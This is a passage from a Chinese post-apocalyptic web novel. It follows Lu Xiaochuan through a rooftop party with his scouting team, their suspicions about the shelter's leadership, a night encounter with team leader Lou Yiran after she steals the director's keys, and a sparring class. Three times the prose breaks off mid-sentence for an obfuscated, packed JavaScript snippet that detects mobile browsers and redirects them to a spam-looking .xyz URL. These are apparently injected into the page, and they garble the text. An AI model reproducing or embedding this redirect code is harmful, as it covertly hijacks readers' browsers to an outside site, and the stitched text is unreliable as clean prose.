看着阔绰到前所未有的账户,陆小川不知该如何消费,只能在体检结束后购置了一大箱水和速冻青菜饺子,给C区老乡送了过去。 因为数量不够,他又不得不去一号院额外购置了两箱。 一番消费下来,陆小川发现他没给自己留下理发的钱。 看来,只能等到下次任务了。 乔迁新居后的第三天,梁竹敲响了陆小川的门,她说队员们在隔壁楼顶为他举办了乔迁派对,啤酒烤肉应有尽有,还有他意想不到的“好东西”。 不过,陆小川很快就会明白,所谓的“乔迁派对”只是外联队日常团建的一个由头,诸如此类的团建每周都会举办一次,参与者是除了楼依然以外的外联队全员。 林乐声入队的这一年,哪怕伤亡时有发生,幸存者派对也从未间断。 乘坐电梯抵达3号楼顶露台时,尧子悦已在营帐附近挂上彩灯,卡式炉上方升起袅袅炊烟,令人陶醉的爵士乐声漫溢在四周。 蓝调时分,天色纯净温柔,晚风徐徐掠过时,陆小川站在露台入口的落地玻璃前,突然有些走不动路。 许多年后,他依然清晰地记得当时的场景。 海滨、烟火、圣诞节、倒映在海面上的银河,以及报道日上与楼依然的初遇..... 他远远地站在那里,跳跃的思绪逐渐将那些美好的事物连接起来。 他担心自己的涉入会撕碎这场美梦,他想用双眼、用身上的每一个毛孔将这一刻永久封存,铭记住当时空气的温度、与湿度。 许多年后,站在Y市海港的边缘,看着阔步朝自己走来的楼依然,陆小川耳边仿佛又响起了那晚的乐声。 11. 乔迁(2) 那天,陆小川在露台角落的营帐里发现了一样闪闪发光的东西。 认出那样东西的当下,他彻底傻了眼,“这是......” “没错。”林乐声嘴角扬起一个骄傲的笑容——“这是一台黑胶唱片机。” 他说着闪过身,露出营帐木架上琳琅满目的黑胶唱片,再次将陆小川震撼得说不出话来。 “那天归队时,他手里提着的就是这些东西。” 尧子悦在旁解释:“他已经捧着那张绿洲乐队的唱片听了整整两天了,小川,你能想象吗?有人一把年纪了还扛着狙击枪去废土里出生入死,为的居然就是这些东西......” 说到这儿,尧子悦笑着看向林乐声:“其实林乐声也不是他本来的名字,虽然发音相同,但他的本名是跳跃的跃,上升的升,是他自己把名字改成这样的。” 尧子悦摇着头低声感慨道:“真是个疯子......” 林乐声于是看向她:“那你倒是说说,如果婚姻制度恢复,你是更愿意嫁给我这个疯子,还是这些唱片?” “废话!” 尧子悦扬起下巴道:“要是没有这些唱片,谁会看上你这个多愁善感的老男人啊?” 听腻了两人的打情骂俏,陆小川流转视线,在林乐声的收藏中物色起来,他很快找到一张怀念已久的专辑——香港女歌手张蔓姿的《关于缠绵》,他捧着那张唱片来到唱片机面前,询问林乐声自己能不能上手操作,后者让出空间,摆出一个轻便的手势。 于是陆小川小心抬起唱针,调换了唱片。 熟悉的旋律开始流淌,他用力地闭上眼,嘴角高居不下,胸口涌起抑制不住的喜悦。 “品味不错嘛!”关于音乐,林乐声似乎总有说不完的话。 “三年前,我还只能趴在橱窗前仰望它们,那时候我很穷,好不容易攒钱买了一台廉价唱片机,开始从二手平台淘黑胶,可那些唱片好多都有磨损,根本听不尽兴。” 林乐声后退一步,双手撑住后腰,一脸满足地欣赏着一整柜的心头挚爱。 “那时候,我们公司老板是我最羡慕的人,因为他有一整个书柜的唱片,所以我在他生日当天用代码做了个互动视频,就是为了讨好他,好能时常从他那儿借唱片来听,我本来以为我一辈子都没办法做到像他那样,谁知道,突然有一天,世界重新洗牌了,这些东西依然摆在哪儿,就像无家可归的孤儿,对着我疯狂招手......” “小川。”夜幕降临时,林乐声望向陆小川,连眼角蜿蜒的细纹里都溢满了幸福。 他说:“如果有一天,你在平行世界遇见一个守着唱片狂吠的B02,那一定就是我——林,乐,声。” 说完这句,林乐声闭合双眼随着音乐摇摆起来,彻底沉醉其中。 不久后,陆小川在卡式炉边上发现了几瓶红酒,他弯腰拿过一瓶起开木塞,迫不及待地凑到瓶口嗅了嗅。 “如何?外联福利多吧?”梁竹拾起剩下那瓶红酒看了看,啧啧道:“不愧是外联副队,随手一挑就能选中楼队的红酒。” 陆小川低头看向自己手里的那瓶:“这酒是楼依然的?” 梁竹点头:“别怪我们不带她玩,这次团建的主题是庆祝你乔迁,我们自然也邀请了她,但她说自己有事,只给了我这个。” 陆小川脱口而出:“她有什么事?” 此时他正处在试图与楼依然划清界限的初始阶段,理智上虽然明白眼不见为净的道理,情感上却依然难以抗拒地、对她的一切感到好奇, “今天是星期五吧?”梁竹看向田丰,从他那儿得到肯定的答复后,自顾自地点了点头,“那就对了,她经常和所长约在周五晚上喝酒。” “那可不是单纯的喝酒。” 田丰撇着嘴接上了这句。 陆小川看向他:“什么意思?” “你说呢?”大牛对他使了个眼色,“孤男寡女两个在所长办公室里喝酒,还能发生什么?” 领会到田丰的言外之意,陆小川有些不爽,“这种事情不要乱说吧。” “就是。”梁竹立刻附和道:“没有那些酒局,楼队怎么从所长嘴里套出其他避难所和外联队的最新进展?怎么保住她在A区的独栋别墅?还有,她之所以能在避难所里高价卖酒和止痛药,还不是仗着所长为她撑腰?” 陆小川听出来了,梁竹说的同样也不是什么好话。 楼依然在避难所内高价售卖稀缺物资这件事,确实是她在C区居民那里饱受诟病的主要原因,但陆小川也从工友们那里听说,中央商城内,楼依然名下的那间店铺售卖的不止有烟酒、助眠和止痛类药物,还有女性用品、小雨伞这些不算必要、却也称得上重要的日常用品。 因此,在梁竹罗列出的诸多酒局意图中,陆小川最感兴趣的还是第一条。 “套话?”他故作漫不经心道:“套什么话?” “这就多了,毕竟我们大部分时间都被困在墙里,对外面的世界可以说是一无所知。” 梁竹顿了顿,继续道:“但楼队似乎很关心这些,你也看到她对着墙上的蜥蜴涂鸦发呆了吧?还有每月一次的避难所代表大会,她总能在会上提出一些高深的问题,比如Y市是否搞清了末日大爆炸的原因、枢纽避难所针对Y03基因逆转剂的研发进展如何、外省有多少地区已经清除了变异体,对,前些天你的那个问题,她也在会上提过,关于新增支配体的处理措施。” 听完这些,陆小川心中油然生出一股欣赏。 不愧是楼依然,优秀如她,绝不可能满足于这种按部就班的生活,当她获得了与能力相当的权力,她不止要捍卫这个世界,还要学习它、塑造它! “这些问题都很好啊。”陆小川由衷感叹道:“光是听你说,我都觉得很好奇!” “所以呢?”他紧跟着问:“对于楼队的这些问题,科研和通信部长都是怎么说的?” 梁竹沉下嗓音,模仿着部长们冰冷又官方的语调徐徐道:“不方便回答。” “这有什么不方便的?”陆小川不满道:“这些难道不是和幸存者息息相关的事吗?” 事实上,每次代表大会结束后,C区居民也会向参会的地区代表提出很多类似的问题,因为这些问题的答案关乎着他们何时才能走出围墙,去墙外寻找生死未卜的亲人与爱人,但那些时候,地区代表只会摇着头重复:“还未确定”、“尚不清楚”。 日子久了,陆小川也对会上议题丧失了兴致。 只是,他没想到,就连在避难所里呼风唤雨的明星级居民楼依然,居然也没法从那些高层口中得到一个像样的回答。 卡式炉三人组愤世嫉俗地吃起烤肉时,林乐声和尧子悦终于结束缠绵,拉着折叠椅凑了过来。 尧子悦很快赶上进度,煞有介事地降低了音量。 “那些人,小秘密可多了。” “悦姐,展开讲讲。”陆小川立马为她夹上一大块烤肉。 “和楼队比起来,我知道的东西就很有限了。”尧子悦边吃边说:“我隔壁不是住了一个通讯部的妹子嘛?有时我能听到她和部门同事在走廊里聊天,他们会经常提到一个词,一个很奇怪的词......” “什么?”三人组齐声追问。 ——“隔离。” 尧子悦简短作答:“至于隔离的到底是什么,我就不清楚了。” 陆小川放下餐盘,陷入沉思。 就目前已知的信息来看,被隔离的很可能是血检筛选出来的支配体,但据他所知,两年来避难所内失踪的居民只有一个,如此匮乏的样本没道理让通讯员时常将“隔离”二字挂在嘴边,那么,他们谈论的也可能是发生在其他避难所的事。 通讯部是38号避难所内唯一有权限与其他避难所交流的部门,在此之前,陆小川也听说有些避难所会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943310|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将变异体抓回来研究,正是诸如此类的研究,才帮助13号避难所的研发部门制造出了定位粉末和C3抑制剂,极大程度降低了幸存者感染病毒的风险。 陆小川沉默片刻,问出了一个在他看来极为重要的问题。 “末日发生后,你们都是如何进入避难所的?” 两年前在荣华面馆,是楼依然从收音机电台获知到了避难所的地址,当时网络已被切断,电子设备形同虚设,而据陆小川所知,旧世界大部分的年轻人早就没有使用收音机的习惯了,那其他人又是如何找到这里的呢? “小区广播。” 尧子悦率先回答:“末日当天,收到警报后我就和室友待在出租屋,大概一周之后,窗外响起循环广播,通知幸存的居民半小时内到小区门口的大巴前集合,当时我们都不清楚要被送去哪儿,但家里的东西都吃光了,网络也没有,只要能和其他幸存者建立联系,能活下去,被送到哪里都没关系。” “我也一样。”林乐声道:“不过就在前往避难所的路上,我们身后的一辆大巴遭到了失控体的袭击,据说......那辆车上的所有人都死了。” 梁竹紧跟着回答:“我当时住在那种很简陋的公寓,物业一早就跑路了,失去网络之后,剩余住户变得异常恐慌,不少人离开了公寓,有的再也没回来,大概在末日后的第六天,有个大哥敲响了我家的门,他自称是社区的工作人员,结果我一开门他就冲了进来,拔出菜刀让我交出家里的食物,幸好同楼层的一位好心人听到动静,冲进来帮我制服了他......” 梁竹说着看向田丰,“我和大牛就是这么认识的。” 陆小川有些讶异:“所以你们俩在进入避难所之前就认识?” 梁竹点头:“那天之后,我们俩就成了哥们儿,时常组团去小区外的超市里‘拣货’,大概三个月后,是38号避难所的外联队员发现了我们,那时候我们才知道避难所的存在,立马收拾行李,跟着他们来到了这里。” 陆小川恍然大悟,“所以外面一定还有不少Z市居民不知道避难所的存在。” “确实如此。”林乐声道:“一年前,我刚刚加入外联队时,还时常能在废土上遇到「流浪者」,楼队会把他们带往弃车点,再用对讲通知生存队将他们带回避难所,不过最近半年几乎都遇不上了,末日后未能进入避难所的幸存者,如今要么饿死,要么就是被失控体杀死了。” 林乐声说完看向陆小川,问他为什么突然好奇这个。 “我只是觉得很蹊跷。” 陆小川回答:“你们想,早在38号避难所开始收容幸存者前,13号避难所和其他枢纽避难所就已经存在了,并且,所长、副所长、通信部、科研部、民用部——现存所有避难所内的部门分化以及管理层配置都大致相同,这说明避难所系统显然是在接到某种统一指令后才成立的,也就是说,在那个阶段,旧世界的通信系统依然可以使用,但作为居民,我们却在进入避难所前就被没收了所有通信设备,禁止与外界联络。” 林乐声点头道:“网络是被有关部门自行切断的,这点毫无疑问,至于没收通信设备,这件事楼队曾经问过所长,所长的回答是,这是避难所高层下达的统一指令,目的是防止黎明会入侵......” “黎明会?” 再次听到这三个字时,陆小川猛然意识到,或许这个神秘组织才是一切的关键。 “没错。”林乐声接着道:“避难所高层认为,一些支配体或许可以通过电信号对幸存者进行催眠或洗脑,因此,保留通信设备对避难所居民而言是一种威胁。” 陆小川拧眉,细思极恐。 如果所长说的是真的,那么...... ——「黎明会一日不除,避难所内的居民就没办法走出那堵高墙,回归曾经的家园。」 这句曾被陆小川视作危言耸听的话,也就不无道理了。 12. 乔迁(3) 夜幕降临后,浓云遮蔽星光,在B区三号楼顶的五名外联队员心间蒙上一层阴影。 “蹊跷的还不止这些呢。” 田丰吃饱喝足,打了个响嗝道:“爆炸发生在距离我们不到300公里的Y市,而在Z市,空气中的末日病毒在爆炸发生半年后就几乎散尽了,这种规模的爆炸怎么可能影响全国?更不用说全世界了!依我看,造成末日的根本就不是什么爆炸!” “那是什么?”梁竹问。 “是战争!”田丰言之凿凿道:“末日降临前,各国关系本来就很紧张,Y市的爆炸铁定是敌国投掷生化武器引发的,并且,不止Y市,这样的生化袭击在其他省市也发生了。” “不,你这个说不通。”尧子悦沉声反驳:“如果是敌国突袭,居民数量就成了未来反制的关键,可新世界直到今天都没有恢复婚姻制度,对孕妇和新生儿的待遇也差到离谱,末日后死了那么多人,幸存的年轻人如今却知道种地和盖楼,如果是处在战争中,我们国家不可能如此消极。” “那只是咱们避难所!”田丰不以为然道:“你知道别的避难所现在都在干什么吗?军备?外交?谍战?生孩子?谁也不知道!没有网络,你看到和听到的一切都可能是假的,我们就是一窝小白鼠,不同的避难所培育不同的小白鼠,仅此而已!” 田丰说着激动起来,举起纸杯将里头剩下的红酒一饮而尽,起身找厕所去了。 梁竹长叹一声,“别管他,他喝多了就这样,喜欢扯些有的没的。” 她说完靠上椅背,顺势转移了话题。 “你们猜昨天,我在超声检查室碰到谁了?” 陆小川本以为这个话题与自己无关,毕竟他在B区的人脉只有面前这几位,因此,在梁竹说出“楼队”二字后,陆小川立马看向了她。 林乐声和尧子悦显然也很惊讶。 尧子悦:“她之前不是获得所长批准,不需要参与体检吗?” “不需要参与体检?” 又是一件陆小川闻所未闻的新鲜事,他很快插上话,问“为什么?” “因为那是楼队。”尧子悦阴阳怪气道:“在38号避难所,楼依然不想做什么,就没人能逼她做。” “可她昨天还是去体检了?”林乐声问。 “嗯。”梁竹点了点头:“我问她为什么来,她说身体不舒服,想来检查检查。” 陆小川停下倒酒的动作,屁股有些坐不住了。 那一刻,他又想起了那只被楼依然藏在身后的针管,以及她手臂上或深或浅的伤痕。 “那......她有没有说是哪里不舒服?” 梁竹略微耸肩:“我没问,反正问了她也不会说。” “她在A区的所长办公室对吧?”陆小川说着站起了身。 他想去看看,无论是出于好奇还是队员间最起码的关心,哪怕他知道楼依然自有分寸,也不见得欢迎他,他还是想去看看,确认她在那边是自由的、愉悦的。 走到露台入口时,陆小川撞见如厕归来的田丰。 他喝得微醺,双眼眯成两道细缝,看着陆小川笑了一下。 “川哥......你要去找楼队,是吧?” 他说着贴上来,凑到陆小川耳边口齿不清地说:“川哥,你为什么就是不肯听我的?那楼依然和齐广生......你情我愿,你去了......” 田丰说到这儿,用力捶向自己胸口,哭丧着脸道: “......会心碎的。” “你喝多了。”陆小川扶住田丰,念及他说的是醉话,也懒得争辩,他不得不将田丰一路搀扶着送回其他队员身边,问林乐声自己能不能搞定,林乐声对着他点了点头,让他放心去。 从B区前往A区行政楼的路上,道路逐渐开阔,路灯十米一座,明如白昼的光点亮了道路两旁的鲜花与精心修剪过的绿植,让陆小川不禁想到两年前修筑这条道路时,工友间流传最广的一句话。 他们说,有钱人的生活,到了什么时候都是一样。 邻近行政楼,陆小川已然想好了进门的说辞,还是那通令人匪夷所思的调任令,他想亲自询问所长,自己是否具备这个资格,然而,当门卫听说陆小川便是那名由总部直接任命的外联队员时,他们没问太多,直接开门将他放了进去。 所长办公室就在一楼,敲门前,陆小川绕路来到楼外的侧窗,发觉那间巨大的办公室内只有所长齐广生一人,他斜靠在皮质沙发上,已然喝得不省人事,面前的茶几上摆着两只高脚杯,两瓶红酒,以及一只烟灰缸。 一只女式皮包被丢在侧面的单人沙发上,他的队长却不见踪影。 陆小川狐疑之时,有人轻拍了下他的肩膀。 ——“来找我的吗?” 陆小川转过身,面前的人正是楼依然。 她穿着一条黑色吊带长裙,裙子上的亮片在月色下闪闪发光,裙下是双酒红色的高跟鞋,长发如瀑,不仅如此,她今晚还画了妆,眼窝深陷,眼角勾着诱人的弧度,丰盈的嘴唇呈现出两抹狂野的棕红色,美到让人不敢直视。 陆小川有些局促地将双手缩进涤纶外套口袋,觉得站在她面前,自己就像个没见过世面的待业大学生。 他下意识嗅了嗅,发觉楼依然身上确实有淡淡的酒气,但她显然喷了香水,那清雅怡人的芬香像是有种魔力,让陆小川觉得,哪怕眼下他是她的男朋友,也没法对着她发火。 不过还好,他们之间没有那种关系。 陆小川杵在原地,脑子里一片空白。 楼依然盯着他看了一会,然后说:“你在这儿等我一下。” 陆小川立马点头。 他看着她步伐轻盈地走向前门,目光离不开她长裙下包裹着的曲线。 大学期间,楼依然的外号是“Z大舒淇”,一些自知高攀不起的男生时常贬低她的容貌,说她嘴唇太厚、脸部线条不够柔和,但即便如此,从来没有人质疑过楼依然的身材。 只要她穿上T恤和紧身牛仔裤,不经意的路过便能引得无数男大驻足,啧啧称赞世上怎么会有身材这么好的女人。 至于楼依然的容貌,哪怕陆小川从不认同那些人的说法,很长时间里,他也没能找到合适的词来形容。 直到大三那年,他开始沉迷美剧,才终于在那些类似的轮廓与神态中领悟过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943311|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼依然那张脸,代表的并不是清纯或美艳,而是极致的性感。 过不多时,透过所长办公室的侧窗,陆小川看到Z大舒淇蹑手蹑脚地打开了门,她从胸口掏出一串钥匙放回到办公桌的收纳盒内,然后从皮包里掏出一双运动鞋,动作麻利地换上,最后的最后,她还做出了一件令陆小川瞠目结舌的事。 ——她从皮包内掏出避孕套,撕开后将里头的东西丢进垃圾桶,而后将包装袋摆放在桌上醒目的位置,做完这些,她拎着高跟鞋和垃圾袋,关上了所长办公室的门。 半分钟后,当她再度出现在陆小川面前,后者已不知该从何问起。 犹豫片刻后,他只能伸手接过那只垃圾袋,感受着午夜欲发凛冽的寒风,问她冷不冷。 “不冷。”楼依然摇了摇头,指向不远处的垃圾桶,“丢那里就好。” 于是陆小川头也不回地走向垃圾桶,希望扑面而来的晚风能帮助自己冷静下来。 回来的路上,他拎起衣领嗅了嗅身上的味道,确认这件新洗的涤纶外套干净且清香,还是将它脱下来递给了楼依然。 “披上吧。”她裸露在外的肩膀叫他不忍直视,“你穿的太少了。” 于是楼依然将高跟鞋和皮包交给陆小川,披上了他的外套。 回去的路上,楼依然问他,“你来找我有什么事?” 用来蒙混门卫的借口在这一刻派上了用场,陆小川低着头道:“我是来找所长的,关于调任令的事。” “我问过所长了。”楼依然却说,“调任令由总部下达,信息源没有任何问题,但也没有附带任何说明,不过避难所居民的名单会定期更新给总部,我们都觉得,一定是总部管理层有你的某位亲人或朋友,想让你在这里的日子过得好一点。” 楼依然说完看向他,见陆小川许久都没有说话,又跟着补充道:“不信你可以去问所长。” 但陆小川关心的根本不是这些。 他当时觉得有些胸闷,不假思索便反问了回去,“你是叫我去问你的酒友吗?” 但话一出口,陆小川便后悔了。 约酒是楼依然私生活的一部分,跟谁喝、喝多少他都无权干涉,更重要的是,他刚刚问话的语气显得很不大度。 好在楼依然没领会到这层,只是据理力争道:“他是酒友,又不是同伙,我跟所长再怎么要好,他也不可能准许我擅作主张,将一个完全没有实战经验的人拉进外联队。” “所以你们很要好?” 陆小川下意识问出了这句,两秒后又改口道:“我是说......你来见他,有必要穿成这样吗?” 楼依然耸了耸肩,“我穿成这样又不是给他一个人看的。” 陆小川想起那串钥匙,意识到楼依然将所长灌醉后,偷走他的钥匙去了别处,或许那才是这场酒局真正的用意。 “你刚刚去了哪儿?”他试探性地问。 楼依然含糊其辞:“去办了些私事。” 看来,她打扮成这样,是为了那件私事。 但既然她不肯说,他猜想再多也是没有意义的。 陆小川低下头,许久没再说话。 13. 新社员(1) 站在避难所A区与B区住宅的分岔口,陆小川将高跟鞋和皮包递给楼依然,叫她改天再还外套,楼依然却站在原地没有动。 两个人就这样僵持了一会,直到楼依然上前一步,高昂着头,叫出了他的名字。 “陆小川,你是对我的行为有什么意见吗?是因为我穿成这样,因为我偷了东西?还是因为我把撕开的避......” “我只是觉得你这样很危险。” 陆小川闷声打断了她。 像是一脚踢到了棉花上,陆小川的话叫楼依然愣了片刻。 “当然很危险!正因为危险,我才只能动用我身上最厉害的武器,就像你们男人一样!你们可以在遇到危险的时候挥起拳头,我为什么就不能穿成这样?” 察觉到楼依然语气里的委屈,陆小川抬眼看向她身上的那件黑色低胸长裙,犹豫片刻后低声说:“但我觉得,这个武器很可能会伤害到你自己。” 楼依然欲言又止,她盯着他看了一会,怒火消散时,嘴角浮起一抹嘲弄。 她冷笑着说:“那是因为你并不了解我。” “嗯。”陆小川赞同地点了点头,再次递上高跟鞋和皮包,“你说得对,早点回去吧。” 路灯下,楼依然低着头,视线上抬瞪着他看,依然不愿接过那两样东西。 陆小川维持着那个动作,耐心地等着,等到楼依然大概通过眼神宣泄完了情绪,视线转向自己手腕,从上面取下一根发绳递了过来。 “给你的,”她语调冰冷地说,“不要总是用胶皮筋绑头发了。” 看着她亲手取下的黑色发绳,陆小川有些不好意思地笑了。 “乔迁礼物吗?” 他注意到楼依然手腕上还绑着另一根金色的发绳,便指着那根道:“我想要那个。” 他记得那根金色发绳。 大学四年,楼依然几乎每天都绑着那根发绳,几天前在墙外,她头上系的也一直都是它,晚上睡觉前,她还会将那根发绳小心套在手腕上,再用袖子遮住藏好。 楼依然却立马将手背了过去。 “这个不行!” 她语气坚决道:“陆小川,你不要得寸进尺!” 陆小川只能妥协。 他将楼依然的皮包移到另一只手上,伸出空着的手想将那根黑色发绳接过来,楼依然却又收起发绳,踱着步子绕到了他身后。 她踮起脚,裙摆晃动时流转起星光。 陆小川领会到她的意思,于是将身子略微伏低,任楼依然将纤长的手指探入、缓慢将自己那头凌乱的黑发理顺。 街灯的光洒在她那双亮晶晶的酒红色高跟鞋上,某一刻,陆小川闭上眼,深深吸入混合着楼依然香味的空气,只觉四周静谧非常。 “你的头发很软。” 万籁俱寂时,陆小川听到楼依然在自己耳后轻声说了句: “他们说头发软的人都很温柔,陆小川,你温柔吗?” 陆小川微微一笑,温声反问:“你觉得呢?” “或许吧,我又不了解你。” 楼依然回答:“但你的心太软了,心软的人容易吃亏。” 陆小川点了点头。 “我确实吃过不少亏,但福祸相生,我也没少因此享福。” 感觉到头发被束紧,他转过身,灵机一动。 “不过我也有不心软的一面,后天你要不要来训练场看看?我可以教你一些、呃......男人的武器。” 楼依然轻哼了声,……“我有枪就够了。” 她说着接过高跟鞋和皮包,转身时落下一句,“而且我很忙的。” 站在A区别墅群的入口,陆小川目送楼依然披着他的外套渐行渐远,仰头望向星空时,发觉乌云尽散,夜幕星光灿然。 那天晚上,楼依然很明确地拒绝了他的邀请,因此,一天以后,当陆小川走进训练场,在篮球架底下瞧见那个熟悉的身影时,他突然就很后悔没有认真备课。 虽然腰间依然插着那把银枪,但她今天穿了一件宽松的卫衣,搭配白色运动裤,长发利落束成马尾,行头比不少正式学员还要专业。 “小川教练,”一名格斗社女学员小跑着迎了上来,面露为难地瞥向楼依然,“她不在学员名单上,可无论我们说什么,她都不走。” 其他社员抱团缩在距离楼依然八米开外的地方交头接耳,气氛一如楼依然征召陆小川入队那日一般紧张。 “没事。”陆小川笑着安抚大家:“这是楼依然,我的朋友,她......” ——“我只是来还你这个。” 楼依然站起身,声色清冷地打断了他。 她大步走过来,将怀里的外套丢给陆小川,接着又将手里的信封塞给了他。 “这是下周的任务说明,你收好。” 她又换上了那张“多看我两眼就灭你全家”的臭脸。 陆小川知道,和那天一样,是周围人不怀好意的目光刺激到了她脆弱的自尊心。 楼依然转身时,陆小川抓住了她的手腕。 “真的不留下听听吗?我的课程很实用。” 楼依然冷眼看向他,用力挣了挣,但陆小川没有松手。 格斗社学员的目光尽皆聚焦在他们俩身上,陆小川背对人群,而楼依然面对人群,气氛僵滞了大概十秒后,楼依然妥协了。 点头的那刻,楼依然将目光瞟向陆小川耳后的发绳。 他绑着她送的发绳,这让她很满意,但除此之外,她也知道这些人都是陆小川的学生,在他的地盘,她不想让他难堪。 既然是他的地盘,他想让她留下,就没有人可以赶她走。 热身运动前,陆小川向学员们正式介绍了楼依然,他说她是“外联现任队长”、“废土怪物克星”、“避难所的灯塔”、“非常优秀的前辈”...... 掌声稀稀拉拉响起时,楼依然远离人群,背着手站在角落,别过头看向了窗外。 热身和基础动作讲解后,课程进入到实战演练环节,学员纷纷冲向熟悉的陪练,陆小川站定在原地,对着孤零零的楼依然招了招手。 “楼队好不容易来一次,我俩先给大家打个样儿!” 见楼依然傻站在原地,陆小川索性穿过人群将她拉了过来,帮她卸下腰带上的枪,面朝自己摆正,片刻后,楼依然茫然的双眼逐渐冷却,双手握拳,摆出了一个还算标准的拳击警戒姿势。 “看好。”陆小川盯着楼依然道:“这场实战一定会很精......” 话音未落,楼依然已对着他挥出一记直拳,陆小川侧头躲过,楼依然紧跟一记侧踢,被陆小川用左手手臂挡了下来。 “直拳加低扫踢,非常漂亮的基础组合技!” 笑着看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943312|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向楼依然的同时,陆小川不忘对学员们进行实况解说。 像是不满于他的松弛,楼依然岔开双腿,对着陆小川毫不留情地一连挥出几拳——直拳、摆拳、勾拳......学员们下意识张大了嘴,眼看陆小川轻巧闪过楼依然眼花缭乱的组合拳,而后找准间隙,一个单腿抱摔,将她放倒在了训练垫上。 人群忘记了欢呼。 楼依然挣扎着想要起身,陆小川却抢先跨坐在她腰部,膝盖贴紧楼依然的小腹,脚背勾住大腿内侧,让她在短时间内难以动弹,而后转过头,与学员们积极互动:“这个身位叫什么?” “骑乘位!” 很快有学员嗓音洪亮地回答了这个问题,陆小川满意地点了点头,放轻腿上的力道,准备放过楼依然,可就在他泄力的瞬间,后者竟猛地飞起右腿将他踢倒,同时双腿夹住他的右臂,双手死死攥住了他的右手手腕...... ——“十字固!” 喊出招式名的学员从未想到,他竟能在这门课上见识到如此势均力敌的实战演练。 训练场内,不少年轻人被这边的动静吸引,凑过来观战,向来被养在温室里的格斗学员兴致高涨,争相恐后呐喊出楼依然和陆小川使用的招式名称,气氛异常热烈。 在此之前,没有一名格斗社学员幻想能在这门课上学到什么真本事,毕竟他们的教练大部分时间都倒在篮球架下午睡,对战时也是显然易见地放水。 可就在今天,他们突然意识到自己拥有一位能与“避难所黑莲花”旗鼓相当的导师,而这位所谓的“黑莲花”,依赖的原来也并不只有枪法。 实战演练后,楼依然收获到不少学员的赞美,他们将楼依然围在中心,问她是从哪里学到了这些技巧,一名女学员问,“是小川教练的私教课吗?”楼依然还没来得及回答,他们又询问她是否会在任务中用格斗术对付墙外的怪物,那些怪物又是否真的像传闻中一样疯狂。 “外联队目前最主要的武器依然是加装了消音器的枪械,但在废土上开枪需要格外谨慎,因为火药的味道很可能引起邻近失控体的警觉,对我们来说,掌握一些基本的格斗技巧是很有必要的,但其真正的目的并不是叫我们和变异体近身肉搏,而是帮助队员提高体能、力量和反应速度,因为大部分失控体的速度都很快......” 站在人群外围,陆小川看着楼依然为学员解答的专注模样,暗自确认了一件事。 楼依然并不是一个难相处的人,她不是社恐,也并不抗拒与人亲近,她只是从一开始就被摆在了一个令人望而生畏的位置,出于容貌、出于能力、出于显而易见的野心...... 人们习惯了追捧她,然后以相同的方式疏远她,而她始终丢不掉那份骄傲,于是只能慢慢习惯这些。 再度躺倒在篮球架下时,陆小川发觉自己全无睡意。 他忍不住质问,自己是否也对楼依然做出了相同的事,因为抵抗不了她身上那种叫人欲罢不能的吸引力,所以才只能强迫自己远离。 ——“川哥!” 那时,震破穹顶的呼喊声从门口传来,陆小川猛地从软垫上惊起,看到陶野正气喘吁吁地站在门口。 “打起来了!” 他上气不接下气:“虎......虎街有......有人打起来了!” 陆小川顾不上吹哨下课,直接朝门口冲了过去。 14. 新社员(2) 进入38号避难所以来,陆小川见证过C区大大小小不下数百场争执。 如果是工作日在工地,自会有手持电棍的巡警前来维护治安,但到了周末,就连巡警也不愿踏入那片臭气熏天的垃圾场,如果没有一个具备足够公信力的话事人介入平事,从互相问候家人到掀桌子再到拳脚相向,整个过程很可能还不到半分钟。 很长时间以来,陆小川都是C区居民公认的话事人。 他公正无私、共情力强,不仅擅长安抚当事人情绪,也能在短时间内搞清双方矛盾,并给出一个合理的解决方案。 最重要的是,他还拥有一招制敌的本事。 一年前,连续KO三名闹事者的战绩为陆小川一举打响了“鼠街川哥”的名号,也让他就此成为C区人人信服的金牌话事人。 搬离C区前,陆小川将这个任务交给了好兄弟陶野,并在一众送行居民面前正式引荐了他。 陶野跟随陆小川平事也有一年,耳濡目染学习到了不少劝架和格斗技巧,也成功化解过院内诸多矛盾,如果这事儿连他都摆不平,还要狂奔两公里声嘶力竭地向昔日的大哥求助,那么很显然,这场争执已经到了要人命的程度。 从训练场到C区大院的路上,陆小川言简意赅地下达了指令:“陶子,简要说明情况。” 于是陶野气喘吁吁地汇报起来。 “冲突起始于牛街三开洞一号院,当时三开洞的李总正在理发,你知道李总吧?就是末日前那个金融公司老板,他洗头的时候钱包被人偷了,里头好像有50个幸运币,有人说是二号院的赵婶拿的。 